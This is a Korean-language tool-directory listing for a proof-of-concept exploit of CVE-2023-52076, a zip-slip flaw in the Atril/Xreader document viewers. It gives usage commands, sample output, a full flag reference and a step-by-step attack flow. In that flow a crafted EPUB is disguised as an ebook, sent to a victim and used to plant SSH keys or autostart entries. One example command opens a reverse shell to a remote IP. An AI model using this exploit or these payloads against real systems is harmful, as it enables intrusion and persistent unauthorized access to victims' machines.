Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2023-52076-PoC — CVE-2023-52076에 대한 PoC 익스플로잇 - Atril/Xreader(MATE/Cinnamon)의 zip-slip 경로 탐색 취약점으로, 조작된 EPUB를 통해 임의 파일 쓰기 및 RCE를 가능하게 합니다. 승인된 보안 테스트 전용입니다. | Kitploit
도구/GitHubGitHub/groppoxx/cve-2023-52076-poc
Payload GenerationVulnerability AnalysisExploitationPenetration TestingSocial EngineeringBinary Exploitation
GitHubgroppoxx/cve-2023-52076-poc

CVE-2023-52076-PoC

CVE-2023-52076에 대한 PoC 익스플로잇 - Atril/Xreader(MATE/Cinnamon)의 zip-slip 경로 탐색 취약점으로, 조작된 EPUB를 통해 임의 파일 쓰기 및 RCE를 가능하게 합니다. 승인된 보안 테스트 전용입니다.

저장소 보기
324일 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2023-52076-PoC

CVE-2023-52076에 대한 개념 증명(PoC)으로, MATE 데스크톱 환경에 영향을 주는 Atril/Xreader 문서 뷰어의 치명적인 경로 탐색 및 임의 파일 쓰기 취약점입니다.

이 스크립트는 SSH 구성 또는 자동 시작 데스크톱 항목을 대상으로 하는 zip-slip 경로가 포함된 조작된 EPUB 페이로드를 생성하여, 대상 시스템에서 원격 코드 실행을 가능하게 합니다.

기능

  1. SSH 키 주입 또는 자동 시작 RCE의 두 가지 공격 모드를 지원합니다.
  2. (SSH 모드 전용) RSA 키페어를 생성합니다.
  3. 취약한 압축 해제를 대상으로 zip-slip 경로가 포함된 유효한 EPUB를 생성합니다.
  4. /proc/self/cwd 가젯을 사용하여 5~9가지 경로 탐색 변형에 페이로드를 기록합니다.
  5. .epub 및 .pdf 사본을 생성합니다(둘 다 취약점을 트리거합니다).
  6. 페이로드 구조를 검증하고 모든 항목을 확인합니다.
  7. 선택적으로 익명 FTP를 통해 페이로드를 업로드합니다.

요구 사항

root@kitploit:~
Python 3.8+
ssh-keygen in PATH (SSH mode only)

빠른 시작

SSH 모드(권장)

SSH 페이로드를 로컬에서 생성합니다:

root@kitploit:~
python3 cve_2023_52076.py --mode ssh

자동 시작 모드

사용자 지정 명령으로 자동 시작 RCE 페이로드를 생성합니다:

root@kitploit:~
python3 cve_2023_52076.py --mode autostart --command "id > /tmp/pwned.txt"

전체 예시

FTP 업로드가 포함된 SSH 모드

root@kitploit:~
python3 cve_2023_52076.py \
  --mode ssh \
  --name slippy-ssh \
  --key ./keys/atril_rsa \
  --output-dir ./payloads \
  --upload \
  --host ftp.target.local \
  --ftp-dir pub

출력 예시:

root@kitploit:~
[2026-07-27T14:23:45Z] [*] Generating RSA-3072 keypair: ./keys/atril_rsa
[2026-07-27T14:23:47Z] [*] Building EPUB with 9 zip-slip entries
[2026-07-27T14:23:47Z] [*] Validating payload: ./payloads/slippy-ssh.epub
[2026-07-27T14:23:47Z] [+] Validated 9 payload entries
[2026-07-27T14:23:47Z] [*] Connecting to FTP ftp.target.local:21
[2026-07-27T14:23:48Z] [*] Uploading ./payloads/slippy-ssh.epub as slippy-ssh.epub
[2026-07-27T14:23:48Z] [+] Upload complete. Remote directory listing:
-rw-r--r-- 1 0 0 2048 Jul 27 14:23 slippy-ssh.epub

[+] Payload ready
Mode:        SSH (authorized_keys)
Private key: ./keys/atril_rsa (mode 600)
Public key:  ./keys/atril_rsa.pub
Fingerprint: 3072 SHA256:abcd1234... atril-poc (RSA)
EPUB:        ./payloads/slippy-ssh.epub
PDF copy:    ./payloads/slippy-ssh.pdf

[+] SSH login remains manual:
    ssh -i ./keys/atril_rsa -o IdentitiesOnly=yes <user>@<target>

FTP 업로드가 포함된 자동 시작 모드

root@kitploit:~
python3 cve_2023_52076.py \
  --mode autostart \
  --command "bash -i >& /dev/tcp/10.10.10.10/4444 0>&1" \
  --name slippy-rce \
  --output-dir ./payloads \
  --upload \
  --host ftp.target.local \
  --ftp-dir pub

출력 예시:

root@kitploit:~
[2026-07-27T14:25:10Z] [*] Building EPUB with 5 zip-slip entries
[2026-07-27T14:25:10Z] [*] Validating payload: ./payloads/slippy-rce.epub
[2026-07-27T14:25:10Z] [+] Validated 5 payload entries
[2026-07-27T14:25:10Z] [*] Connecting to FTP ftp.target.local:21
[2026-07-27T14:25:11Z] [*] Uploading ./payloads/slippy-rce.epub as slippy-rce.epub
[2026-07-27T14:25:11Z] [+] Upload complete.

[+] Payload ready
Mode:       Autostart (.desktop RCE)
Command:    bash -i >& /dev/tcp/10.10.10.10/4444 0>&1
EPUB:       ./payloads/slippy-rce.epub
PDF copy:   ./payloads/slippy-rce.pdf

[+] Victim must logout/login for autostart to trigger

선택적 플래그

root@kitploit:~
--mode {ssh,autostart}
   Payload mode. Default: ssh
   ssh: Inject SSH authorized_keys (no victim interaction needed after file opens).
   autostart: Create .desktop RCE in autostart (triggers on next logout/login).

--command <CMD>
   Payload command for --mode autostart. Required if --mode autostart.
   Example: --command "id > /tmp/pwned.txt"

--name <NAME>
   Local payload basename. Default: base-clean

--key <PATH>
   Private key path (SSH mode only). Default: slippy_rsa

--key-bits <BITS>
   RSA key size (SSH mode only). Options: 2048, 3072, 4096. Default: 3072

--output-dir <DIR>
   Output directory for .epub/.pdf. Default: output

--upload
   Upload the payload to FTP after generating.

--host <HOST>
   FTP target host or IP. Required if --upload is set.

--port <PORT>
   FTP port. Default: 21

--ftp-dir <DIR>
   Remote FTP directory, e.g. pub.

--ftp-user <USER>
   FTP username. Default: anonymous

--ftp-password <PWD>
   FTP password. Default: anonymous@

--remote-name <NAME>
   Remote EPUB filename. Default: ludwig.epub

--upload-pdf
   Upload the .pdf copy instead of the .epub.

--force
   Replace existing output and key files.

--timeout <SECONDS>
   FTP connection timeout. Default: 10.0

--only-final
   Hide progress logs and print only the final summary.

--no-color
   Disable ANSI colors.

--debug
   Print executed subprocess commands (ssh-keygen).

악용 흐름

SSH 모드

  1. 페이로드 생성: 스크립트가 authorized_keys 경로에 공개 키를 포함한 EPUB를 생성합니다.
  2. 사회공학: EPUB/PDF를 대상에게 전송합니다(전자책으로 위장).
  3. 피해자가 파일을 열기: Atril/Xreader가 EPUB 내용을 추출합니다.
  4. 경로 탐색: 취약한 코드가 ~/.ssh/authorized_keys에 공개 키를 기록합니다.
  5. SSH 접근: 공격자가 개인 키를 사용하여 연결합니다.

자동 시작 모드

  1. 페이로드 생성: 스크립트가 자동 시작 경로에 .desktop 항목을 포함한 EPUB를 생성합니다.
  2. 사회공학: EPUB/PDF를 대상에게 전송합니다.
  3. 피해자가 파일을 열기: Atril/Xreader가 EPUB 내용을 추출합니다.
  4. 경로 탐색: 취약한 코드가 ~/.config/autostart/에 .desktop을 기록합니다.
  5. 트리거: 다음 로그아웃/로그인 시 .desktop 파일이 명령을 자동 실행합니다.

주요 사항

  • 사용자 이름 불필요: /proc/self/cwd 가젯이 추출 시점에 경로를 해석합니다.
  • 다중 경로 변형: SSH용 9개 경로, 자동 시작용 5개 경로로 디렉터리 깊이에 따른 성공률을 최대화합니다.
  • 파일 덮어쓰기 없음: 새 파일만 생성합니다(CVE 제한 준수).
  • 오프라인 모드: FTP 전달 없이 페이로드를 생성합니다(--upload는 필요할 때만 사용).
  • 유연한 명령: 자동 시작 모드는 모든 bash 명령을 지원합니다.
  • SSH 모드는 즉각적: 파일이 열린 후 피해자 상호작용이 필요 없습니다.
  • 자동 시작은 재로그인 필요: RCE가 트리거되려면 피해자가 로그아웃/로그인해야 합니다.

참고

  • 영향받는 버전: Atril(MATE DE), Xreader(Cinnamon, Linux Mint) < 1.26.2.
  • 테스트 환경: Kali Linux, Parrot OS, Ubuntu-Mate, Xubuntu.
  • 피해자가 취약한 뷰어에서 제작된 문서를 열어야 합니다.
  • 오프라인으로 작동하며, 악용 중 공격자에게 네트워크 콜백이 발생하지 않습니다.
  • 모범 사례: 직접 호스팅을 피하기 위해 FTP(--upload)로 전달합니다.

법적 고지

이 PoC는 공인된 보안 테스트, 실험실 환경 및 취약점 검증을 위해 제작되었습니다. 명시적 허가 없이 시스템에 사용하지 마십시오.

도구 다운로드